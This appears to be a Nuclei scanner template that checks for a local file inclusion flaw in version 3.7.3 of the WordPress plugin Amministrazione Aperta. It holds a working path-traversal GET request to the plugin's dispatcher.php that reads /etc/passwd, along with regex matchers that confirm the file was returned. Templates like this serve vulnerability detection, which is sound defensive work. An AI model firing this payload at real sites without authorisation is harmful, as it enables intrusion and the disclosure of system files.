id: amministrazione-aperta-lfi

info:
  name: WordPress Amministrazione Aperta 3.7.3 - Local File Inclusion
  author: daffainfo,Splint3r7
  severity: high
  description: WordPress Amministrazione Aperta 3.7.3 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/50838
    - https://wordpress.org/plugins/amministrazione-aperta
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
  tags: wp-plugin,lfi,wp,edb,wordpress,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/amministrazione-aperta/wpgov/dispatcher.php?open=../../../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206c9d931aa86cbdd164741e6351666d8c45b2fde04d96139667e2f1795afd2539022100dc4dc91bf9db1c418c4e952001e82bf4ed5a12de7523651205025a3fcd0a0c62:922c64590222798bb761d5b6d8e72950